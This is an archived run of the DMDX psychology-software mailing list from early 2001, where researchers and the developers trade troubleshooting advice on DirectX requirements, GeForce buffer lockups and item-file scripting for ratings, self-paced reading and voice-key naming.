Jan 31 12:23:20 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA11206 for ; Wed, 31 Jan 2001 12:23:14 -0700 Received: from pc111 by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Wed, 31 Jan 2001 19:23:11 GMT Message-Id: <3.0.5.32.20010131192419.04183df0@pophost.mrc-cbu.cam.ac.uk> Date: Wed, 31 Jan 2001 19:24:19 +0000 To: DMDX@psy1.psych.arizona.edu From: Matt Davis Subject: [DMDX] Re: In-Reply-To: <01JZK6B4VUAM94DPBU@Mail.Hofstra.edu> References: <4.3.1.1.20010130155802.00c9bf00@kforster.inbox.email.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 14:22 31/01/01 -0500, you wrote: >Hello: I am a new subscriber and DMDX user and have yet to get >the program to run. I have tried to run timedx.exe but get a ""direct >input create failed"" message. Any answers? Thank you. It sounds to me like you've got too old a version of DirectX installed. You can download a newer version (version 6 or later is recommended) from Microsoft or from here: http://psy1.psych.arizona.edu/~jforster/dmdx/directx/ These errors could also arise if you are using windows NT. AFAIK dmdx will never work with windows NT v4, though it works fine with w95/w98 and apparently works ok with w2k (though I've not tried this). Matt **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#621) Fax: 01223 359 062 **************************************************** >From DMDX-owner@psy1.psych.arizona.edu Wed Jan 31 15:34:39 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA11706 for ; Wed, 31 Jan 2001 15:34:16 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by phobos.email.Arizona.EDU (5.1.056) id 3A6F7A1E0008BA85 for DMDX@psy1.psych.arizona.edu; Wed, 31 Jan 2001 15:34:14 -0700 Message-Id: <4.3.1.1.20010131153102.00c77a80@kforster.inbox.email.arizona.edu> Date: Wed, 31 Jan 2001 15:34:12 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] Re: In-Reply-To: <01JZK6B4VUAM94DPBU@Mail.Hofstra.edu> References: <4.3.1.1.20010130155802.00c9bf00@kforster.inbox.email.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Bruce Blaine, The latest versions of DMDX require DirectX 7.0. Unless yours is a very recent machine, it is likely that it has V 5.0. You can download the latest version from Jonathan's DMDX Updates page. All you need to do is click on the downloaded EXE file and it will install itself. If this doesn't work, let me know. --Ken Forster At 02:22 PM 1/31/01 -0500, you wrote: >Hello: I am a new subscriber and DMDX user and have yet to get >the program to run. I have tried to run timedx.exe but get a ""direct >input create failed"" message. Any answers? Thank you. >Bruce Evan Blaine, PhD >Associate Professor >Psychology Department >Hauser Hall >Hofstra University >Hempstead NY 11549 >(516) 463-4856 >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Sun Feb 4 21:06:21 2001 Received: from mta03.mail.mel.aone.net.au (mta03.mail.au.uu.net [203.2.192.83]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id VAA22730 for ; Sun, 4 Feb 2001 21:05:37 -0700 Received: from hal ([203.38.172.222]) by mta03.mail.mel.aone.net.au with SMTP id <20010205040534.CCKB19418.mta03.mail.mel.aone.net.au@hal> for ; Mon, 5 Feb 2001 15:05:34 +1100 From: ""Benjamin Grindlay"" To: ""DMDX"" Subject: [DMDX] Confidence ratings Date: Mon, 5 Feb 2001 14:37:23 +1030 Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""----=_NextPart_000_0006_01C08F81.274EC240"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0006_01C08F81.274EC240 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Greetings! Just a brief query. If I wanted to get a subject's confidence rating for a particular response, how would I script this? For example: +1 * ""The frog jumped""; +2 * ""Did the frog jump?""; ""Rate the confidence of your answer on a scale of 1 - 5"" I have checked the help files as well as various scripts on the internet, but I haven't (as yet) been able to find an example of this. Is it possible with DMDX? Can you get that form of output? Looking forward to a response, Benjamin. Benjamin Grindlay Psychology Department The University of Adelaide Australia 5005. ___________________________ Good judgement comes from bad experience, and a lot of that comes from bad judgement. >From DMDX-owner@psy1.psych.arizona.edu Sun Feb 4 21:12:00 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id VAA22782 for ; Sun, 4 Feb 2001 21:11:55 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.65) by phobos.email.Arizona.EDU (5.1.056) id 3A6F7A1E000D399C for DMDX@psy1.psych.arizona.edu; Sun, 4 Feb 2001 21:11:54 -0700 Message-Id: <5.0.2.1.2.20010204210717.009efe40@psy1.psych.arizona.edu> Date: Sun, 04 Feb 2001 21:11:54 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Confidence ratings In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:37 PM 2/5/01 +1030, you wrote: >Greetings! > >Just a brief query. If I wanted to get a subject's confidence rating for a >particular response, how would I script this? > >For example: > >+1 * ""The frog jumped""; >+2 * ""Did the frog jump?""; > >""Rate the confidence of your answer on a scale of 1 - 5"" > >I have checked the help files as well as various scripts on the internet, >but I haven't (as yet) been able to find an example of this. Is it possible >with DMDX? Can you get that form of output? Yes, see . You'll be mapping keys all over the place but you can either use macro's or better yet the new keyword and have one subroutine to map keys and turn feedback on to gather RTs and then another routine to turn feedback off and map keys for a rating. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Paradise is exactly like where you are right now ... only much, much better. - Laurie Anderson >From DMDX-owner@psy1.psych.arizona.edu Mon Feb 5 20:46:19 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id UAA25784 for ; Mon, 5 Feb 2001 20:46:04 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.65) by phobos.email.Arizona.EDU (5.1.056) id 3A6F7A1E000ECC72 for DMDX@psy1.psych.arizona.edu; Mon, 5 Feb 2001 20:46:04 -0700 Message-Id: <5.0.2.1.2.20010205204018.009e4b50@psy1.psych.arizona.edu> Date: Mon, 05 Feb 2001 20:46:02 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] NVIDIA GeForce MX Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Well, I just spent all evening wrestling the new NVIDIA 650 drivers onto my machine in the vain hope that the version of DMDX I'd sent to them had had some effect -- bzzzt. Guess I should know better, they're big biz now. Shame really, because one side effect of the evening's swearing has been to correctly identify my monitor to win32 as a result I get video modes like 640 x 480 x 8 at 150Hz or 1024 x 768 x 16 at 100Hz, this in a $120 video card. If you plan on using the GeForce MX you'll have to either use 1024 x 768 x 16 or some other video made that makes DMDX use less than 24 buffers or perhaps the -buffers command line parameter can be used to limit the number of buffers and thus stop DMDX from locking the machine up (and I do mean locking, I've never seen anything lock a machine up that hard). -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Paradise is exactly like where you are right now ... only much, much better. - Laurie Anderson >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 7 09:37:46 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA30170 for ; Wed, 7 Feb 2001 09:37:06 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.65) by deimos.email.Arizona.EDU (5.1.056) id 3A6F756100111056; Wed, 7 Feb 2001 09:37:05 -0700 Message-Id: <5.0.2.1.2.20010207090205.009f0870@psy1.psych.arizona.edu> Date: Wed, 07 Feb 2001 09:36:17 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] GeForce cards Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Just got an interesting reply from NVIDIA about the GeForce MX lockup DMDX induces. Turns out that the lockup is likely to occur on all GeForce video cards as the long flipping chains DMDX creates are using up hardware resources on the card, all previous video cards used RAM resources to create flipping chains and were essentially unlimited. Seeing as most of these GeForce cards are way beyond what you need for DMDX (in both performance and price) not many people are likely to care although the GeForce MX is a really sweet card for $110. However, it's is NVIDIA's chipset which means that eventually _all_ of their hardware will be based on it and because NVIDIA are the power in video cards right now it's certain people will be using the GeForce chipset with DMDX at some time in the future. Sounds like NVIDIA have got better things to do that to fix a problem in their drivers that only a small number of scientists are ever going to encounter so the remedy is to run DMDX with a shortcut like this: C:\\DmDX\\dmdx.exe -buffers 4 It's probably not going to be as good as TNT1 or TNT2 because that's a pitifully small number of buffers but the day may come when you have no choice. Hopefully by the time NVIDIA will have fixed their drivers but it sounds like a pretty major thing to fix so I'm not holding my breath. Oddly enough 1024x768x16 works without the override and it is using something like 21 buffers. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Paradise is exactly like where you are right now ... only much, much better. - Laurie Anderson >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 7 12:14:59 2001 Received: from hotmail.com (oe19.law11.hotmail.com [64.4.16.123]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA30607 for ; Wed, 7 Feb 2001 12:14:43 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 7 Feb 2001 11:14:12 -0800 From: ""Keith F. Donohue"" To: References: <5.0.2.1.2.20010130151338.009e7420@psy1.psych.arizona.edu> Date: Wed, 7 Feb 2001 14:15:47 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Message-ID: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello DMDX users. I am working on a problems, and perhaps someone can help me with it. I would like to show a series of images to my participants and record how long they view each one. I have written some script that will allow the participant to move from one image to another, but I don't know how to record and output the viewing times. Does anyone have any ideas for me? In addition, I would like to present the Self-Assessment-Manikin (SAM) on the computer. I know there is a computer version of this instrument written for VPM, but I am hoping to put together something with DMDX. The SAM consists of a series of pictures. Participants chooses among them to report their level of arousal and their emotional valence. Has anyone tried to do something like this before. I appreciate any help you can offer. Thanks. Keith Keith F. Donohue Florida State University Department of Psychology 'And there are many things, That I would like to know, And there are many places, That I wish to go, But everything's dependent, On the way the wind may blow...' ----- Original Message ----- From: ""Jonathan C. Forster"" To: Sent: Tuesday, January 30, 2001 5:27 PM Subject: [DMDX] Re: Self-paced reading > At 01:37 PM 1/30/01 -0500, you wrote: > >Hi: > >I'm new to DMDX and am designing my first experiment. > >I would like to do a self-paced reading task, with one sentence per frame, > >where each item has 1-2 sentences followed by a verification sentence. E.g: > > > >Doris asked out Sue's boyfriend. > >Sue was really upset about it. > >DORIS ASKED OUT SUE'S BOYFRIEND > > > >I would like the subject to read the first sentence, press Space when they > >have read and understood it, read the next sentence, press Space, read the > >verification sentence and press Right or Left Shift, and then Space again > >to bring up the next item. From what I gather, the Space bar only works to > >request a following ITEM, not a following FRAME within an item. > >One possibility that I have considered and tried is to have each frame be > >its own item. But then I have problems with scrambling, as each sentence is > >scrambled separately - verifcation sentences appear separated from the rest > >of the item. I can't use the 'group' parameter to ensure that sentences > >belonging to one 'item' appear together, because the number of sentences > >per item varies (2 or 3, including verification sentence). Also, I do not > >want subjects to have to respond to non-target sentences use the Shift keys > >because I don't want to bias them to one SHift key over the other. That > >is, what I really want is for them to only use the Shift keys to respond to > >a verification sentence, and the Space bar for everything else. > > Guess you can't have been subscribed for too long, I just added the > keyword over the weekend. You'll want the latest > version of the code and an item file something like the following: > > s1 > 100 ""Doris asked out Sue's boyfriend.""; > 100 ""Sue was really upset about it.""; > +101 ""DORIS ASKED OUT SUE'S BOYFRIEND"" *; > 110 ""next sentence.""; > +111 ""probe"" *; > > >Also, what is azk? > > Ascii data files. > > > How do I know whether I want azk or dtp as output files? > > You want azk. > > >Is there any current documentation on how to save data from subjects or is > >the Dmastr manual the only source of info? > > Some of the other web sites might have information, I haven't looked at > them. > > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > Mohandas K. Gandhi often changed his mind publicly. An aide once asked > him how he could so freely contradict this week what he had said just > last week. The great man replied that it was because this week he knew > better. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 7 13:53:15 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA30840 for ; Wed, 7 Feb 2001 13:53:05 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3A6F7A1E00118D29 for DMDX@psy1.psych.arizona.edu; Wed, 7 Feb 2001 13:53:04 -0700 Message-Id: <5.0.2.1.2.20010207134616.009e9a30@psy1.psych.arizona.edu> Date: Wed, 07 Feb 2001 13:51:45 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: subjects are nice, they make the archive easier to read In-Reply-To: References: <5.0.2.1.2.20010130151338.009e7420@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:15 PM 2/7/01 -0500, you wrote: >Hello DMDX users. I am working on a problems, and perhaps someone can help >me with it. > >I would like to show a series of images to my participants and record how >long they view each one. I have written some script that will allow the >participant to move from one image to another, but I don't know how to >record and output the viewing times. Does anyone have any ideas for me? Use an item that gathers a response and that leaves the last image on the display, when they respond the display will be cleared so the RT will be the image duration. If you're not interested in right / wrong measurements use . +1 ""image"" *; >In addition, I would like to present the Self-Assessment-Manikin (SAM) on >the computer. I know there is a computer version of this instrument written >for VPM, but I am hoping to put together something with DMDX. The SAM >consists of a series of pictures. Participants chooses among them to report >their level of arousal and their emotional valence. Has anyone tried to do >something like this before. Sure. Are the pictures presented timewise or spatially? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The computer can't tell you the emotional story. It can give you the exact mathematical design, but what's missing is the eyebrows. - Frank Zappa >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 7 14:13:10 2001 Received: from hotmail.com (oe25.law11.hotmail.com [64.4.16.82]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA30947 for ; Wed, 7 Feb 2001 14:12:59 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 7 Feb 2001 13:12:29 -0800 From: ""Keith F. Donohue"" To: References: <5.0.2.1.2.20010130151338.009e7420@psy1.psych.arizona.edu> <5.0.2.1.2.20010207134616.009e9a30@psy1.psych.arizona.edu> Subject: [DMDX] Re: subjects are nice, they make the archive easier to read Date: Wed, 7 Feb 2001 16:14:06 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Message-ID: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks for the response to my questions! > >In addition, I would like to present the Self-Assessment-Manikin (SAM) on > >the computer. I know there is a computer version of this instrument written > >for VPM, but I am hoping to put together something with DMDX. The SAM > >consists of a series of pictures. Participants chooses among them to report > >their level of arousal and their emotional valence. Has anyone tried to do > >something like this before. > > Sure. Are the pictures presented timewise or spatially? I think that there are some options with this. The paper version of the measure shows all the images on one page [Each is a square-ish human figure with an expression that corresponds to a different level of arousal or emotional valence] and the participants mark their responses. It seems like I could put a bitmap made from a scanned page up on the screen, and the participants could indicate their responses with the keyboard. The computer version shows one image on the screen and allows the particants to cyle through the range of responses before selecting the one that suits them best. It seems like I could show one image at a time and have the subjects use the keyboard to view each one before making a response. Does that explanation help? Thanks again. I really appreciate the help. Keith > > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > The computer can't tell you the emotional story. It can give > you the exact mathematical design, but what's missing is the > eyebrows. > - Frank Zappa > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 7 15:27:14 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA31147 for ; Wed, 7 Feb 2001 15:26:55 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3A6F7A1E0011C184 for DMDX@psy1.psych.arizona.edu; Wed, 7 Feb 2001 15:26:54 -0700 Message-Id: <5.0.2.1.2.20010207145231.009e2360@psy1.psych.arizona.edu> Date: Wed, 07 Feb 2001 15:25:17 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Self-Assessment-Manikin In-Reply-To: References: <5.0.2.1.2.20010130151338.009e7420@psy1.psych.arizona.edu> <5.0.2.1.2.20010207134616.009e9a30@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:14 PM 2/7/01 -0500, you wrote: > > Sure. Are the pictures presented timewise or spatially? > >I think that there are some options with this. The paper version of the >measure shows all the images on one page [Each is a square-ish human figure >with an expression that corresponds to a different level of arousal or >emotional valence] and the participants mark their responses. It seems like >I could put a bitmap made from a scanned page up on the screen, and the >participants could indicate their responses with the keyboard. The computer >version shows one image on the screen and allows the particants to cyle >through the range of responses before selecting the one that suits them >best. It seems like I could show one image at a time and have the subjects >use the keyboard to view each one before making a response. Yeah, those pictures are used in one of the clinical labs. Either option is possible in DMDX. The easiest solution is to use spatial separation with a big old bitmap using to gather a one key rating. This has the down side of the whole item file now needing to use zillion responses instead of RTs, but careful use of can gather RTs too. You'll also be mapping and unmapping keys as you switch from RT to rating, see the help on . Timewise separation is trickier but possible (and perhaps a little more elegant) what with the wiz bang things I've added to DMDX in the last few months. Basically you'd set up a subroutine that presented each of the images and gathering a response, on a positive response the routine would return with a counter set to indicate the rating, otherwise on a negative response it would move to the next image or repeat the cycle if the end was reached. Something like: 0 ""Self-Assessment-Manikin"" ; +100 ""most unhappy"" * ; +101 ""next to most unhappy"" * ; +102 ""next to next to most unhappy"" * ; ... +112 ""happiest"" * ; 200 d0 %0 c ; +1000 ""image"" * ; 1000 d0 %0 c ; +1001 ""next image"" * ; 1001 d0 %0 c ; ... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The computer can't tell you the emotional story. It can give you the exact mathematical design, but what's missing is the eyebrows. - Frank Zappa >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 7 18:23:52 2001 Received: from mail.tor.axxent.ca (smtp.tor.axxent.ca [209.250.128.26]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA31553 for ; Wed, 7 Feb 2001 18:23:34 -0700 Received: from [216.249.2.45] (dial-0553.tor.axxent.ca [216.249.2.45]) by mail.tor.axxent.ca (8.11.0/8.9.3) with SMTP id f181NUh13836 for ; Wed, 7 Feb 2001 20:23:30 -0500 (EST) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Wed, 7 Feb 2001 20:24:53 -0500 To: DMDX@psy1.psych.arizona.edu From: jcramsay@pathcom.com (James Ramsay and Suzanne Belanger) Subject: [DMDX] Re: Self-paced reading Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Thanks for the help - good timing re. the parameter! I set vg to '1' so I could keep my item numbering the same - also I numbered the target sentence the same as the others for that item - I couldn't figure out why you added 1 in your example...? Anyway, it works like a charm. I did have to download DirectX 8, however, as the latest version of DMDX requires it. Thanks again. Suzanne Belanger >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 7 18:24:48 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA31572 for ; Wed, 7 Feb 2001 18:24:43 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.65) by phobos.email.Arizona.EDU (5.1.056) id 3A6F7A1E001207DE for DMDX@psy1.psych.arizona.edu; Wed, 7 Feb 2001 18:24:42 -0700 Message-Id: <5.0.2.1.2.20010207182240.009ec150@psy1.psych.arizona.edu> Date: Wed, 07 Feb 2001 18:24:44 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Self-Assessment-Manikin In-Reply-To: <5.0.2.1.2.20010207145231.009e2360@psy1.psych.arizona.edu> References: <5.0.2.1.2.20010130151338.009e7420@psy1.psych.arizona.edu> <5.0.2.1.2.20010207134616.009e9a30@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:25 PM 2/7/01 -0700, you wrote: >+1000 ""image"" * ; Oops, of course that should be because item 100 occurs earlier in the item file. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The country couldn't run without Prohibition. That is the industrial fact. - Henry Ford, 1929 >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 7 18:43:13 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA31718 for ; Wed, 7 Feb 2001 18:43:07 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.65) by phobos.email.Arizona.EDU (5.1.056) id 3A6F7A1E00120D5E for DMDX@psy1.psych.arizona.edu; Wed, 7 Feb 2001 18:43:07 -0700 Message-Id: <5.0.2.1.2.20010207184055.009f4030@psy1.psych.arizona.edu> Date: Wed, 07 Feb 2001 18:43:09 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Self-paced reading In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:24 PM 2/7/01 -0500, you wrote: >Hi >Thanks for the help - good timing re. the parameter! >I set vg to '1' so I could keep my item numbering the same - also I >numbered the target sentence the same as the others for that item - I >couldn't figure out why you added 1 in your example...? Convention, I like to keep item numbers that gather responses separate from ones that don't. I also didn't want to give an example of the unusual condition, but you're smart and figured it out so all's well. > Anyway, it works >like a charm. I did have to download DirectX 8, however, as the latest >version of DMDX requires it. Probably requires version 7 although 8 certainly shouldn't hurt. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The country couldn't run without Prohibition. That is the industrial fact. - Henry Ford, 1929 >From DMDX-owner@psy1.psych.arizona.edu Thu Feb 8 11:22:59 2001 Received: from mercury.ex.ac.uk (mercury.ex.ac.uk [144.173.6.26]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA00899 for ; Thu, 8 Feb 2001 11:22:32 -0700 Received: from psypc36.ex.ac.uk [144.173.25.36] by mercury via SMTP (SAA28426); Thu, 8 Feb 2001 18:24:59 GMT From: Rachel Mycroft To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Recording both naming and button press responses In-Reply-To: <5.0.2.1.2.20010207184055.009f4030@psy1.psych.arizona.edu> Message-ID: Date: Thu, 8 Feb 2001 18:22:28 +0000 (GMT Standard Time) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear list, I would like to set up an experiment where letters of a word are presented one at a time, each one disappearing with the presentation of the next and the letters appearing in the same positions as they would if the whole word were presented. The presentation is paced by the subject requesting the next letter in the sequence by a key press. A beep is presented with the final letter, and subjects are asked to name the word when they hear the beep. I would like to measure how long they spend viewing each letter and the time they take to name the word after the presentation of the final letter (or alternatively how long they take from the first letter until they name the word - I could still calculate the average time per letter). I have been using the Continue Progressive X keyword. My difficulty is that this requires both button press and voice key input within the same experiment. Including the RecordVocal input at the beginning of the file disables the button press responses. I have managed to use just DigitalVOX as input, unmapping it for all the letters in the word except the last one. However, since the beep is presented concurrently with the last letter, the voice key is triggered by the beep rather than by the subject's response (my beep lasts 100 msec, so it should be completed before the onset of their response, but I don't want to delay timing by making it a separate item - I want to see how fast my subjects can read these words). If I had the RecordVocal files then I could obtain the naming latencies afterwards (time consuming, but not too bad if I use small numbers of subjects). Is there a way of switching RecordVocal on and off during a single experiment? If not, then is there another way I can go about doing this (using zillion responses maybe)? Finally, I have also tried to remap positive responses to the space bar for all letters except the last one, so that subjects advance by pressing the space bar rather than a shift key, but for some reason that command hasn't worked here, even though it worked in another file - could it be a bug? Remapping to a letter works fine. At the moment this file only works by pressing negative response q to advance. Here is my item file so far: 0 ""Press SPACEBAR to start""; +1 * ""a""; +2 * ""v""; +3 * ""e""; +4 * ""n""; +5 * ""u""; +6 ""beep"" / * ""e""; +100 * "" ""; +1 * ""s""; +2 * ""c""; +3 * ""h""; +4 * ""o""; +5 * ""o""; +6 ""beep"" / * ""l""; +100 * "" ""; 0 ""END OF BLOCK""; Any hints would be appreciated. Thank you, Rachel ---------------------- Rachel Mycroft University of Exeter >From DMDX-owner@psy1.psych.arizona.edu Thu Feb 8 13:11:02 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA01229 for ; Thu, 8 Feb 2001 13:10:43 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3A6F7561001328EB for DMDX@psy1.psych.arizona.edu; Thu, 8 Feb 2001 13:10:41 -0700 Message-Id: <5.0.2.1.2.20010208115314.009efcb0@psy1.psych.arizona.edu> Date: Thu, 08 Feb 2001 13:10:37 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Recording both naming and button press responses In-Reply-To: References: <5.0.2.1.2.20010207184055.009f4030@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:22 PM 2/8/01 +0000, you wrote: >Dear list, > >I would like to set up an experiment where letters of a >word are presented one at a time, each one disappearing >with the presentation of the next and the letters appearing >in the same positions as they would if the whole word were >presented. The presentation is paced by the subject >requesting the next letter in the sequence by a key press. >A beep is presented with the final letter, and subjects are >asked to name the word when they hear the beep. I would >like to measure how long they spend viewing each letter and >the time they take to name the word after the presentation >of the final letter (or alternatively how long they take >from the first letter until they name the word - I could >still calculate the average time per letter). > >I have been using the Continue Progressive X keyword. My >difficulty is that this requires both button press and >voice key input within the same experiment. Including the >RecordVocal input at the beginning of the file disables the >button press responses. I have managed to use just >DigitalVOX as input, unmapping it for all the letters in >the word except the last one. However, since the beep is >presented concurrently with the last letter, the voice key >is triggered by the beep rather than by the subject's >response (my beep lasts 100 msec, so it should be completed >before the onset of their response, but I don't want to >delay timing by making it a separate item - I want to see >how fast my subjects can read these words). If I had the >RecordVocal files then I could obtain the naming latencies >afterwards (time consuming, but not too bad if I use small >numbers of subjects). There is no way to get around the beep triggering the DigitalVOX beyond making sure that the beep is 